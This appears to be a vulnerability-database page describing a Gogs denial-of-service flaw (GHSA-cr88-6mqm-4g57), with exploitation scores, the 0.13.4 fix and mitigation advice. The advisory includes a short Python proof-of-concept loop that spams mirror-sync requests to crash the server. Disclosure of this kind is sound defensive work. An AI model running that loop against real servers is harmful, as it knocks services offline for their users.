NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

Gogs has a Denial of Service issueGHSA-cr88-6mqm-4g57

MEDIUMFix: gogs/gogs@961a79e

GHSA-cr88-6mqm-4g57 is a medium-severity (CVSS 6.5) CWE-862 vulnerability in gogs.io/gogs. A fix is available for gogs.io/gogs — see the affected versions and patch details below.

Also known asCVE-2026-22592GO-2026-4451
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-cr88-6mqm-4g57.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk-0.01%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk
0.00%0.29%0.59%0.88%0.0%0.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹gogs.io/gogs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

Details

If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278

PoC

Spam mirror-sync on repo and delete this repo code python spam mirror-sync

import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
    "Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}

data = {
    "_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
    "action": "mirror-sync",
}

while True:
    print("syncing")
    response = requests.post(url, headers=headers, data=data)

Impact

Denial of Service server crash.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogogs.io/gogsall versions0.13.4go get gogs.io/gogs@v0.13.4

Affected Products

1 product · 1 configurations
Application
gogsgogs
< 0.13.4
range

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update gogs.io/gogs to 0.13.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cr88-6mqm-4g57 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash. ### Details If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if `err != nil` `m` is alwasa `nil` https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278 ### PoC Spam mirror-sync on repo and delete this
O3 Security · Impact-Aware SCA

Is GHSA-cr88-6mqm-4g57 in your dependencies?

Find it across Go, including transitive dependencies.

Scan my dependencies How O3 SCA works
Gogs has a Denial of Service issue (Medium 6.5)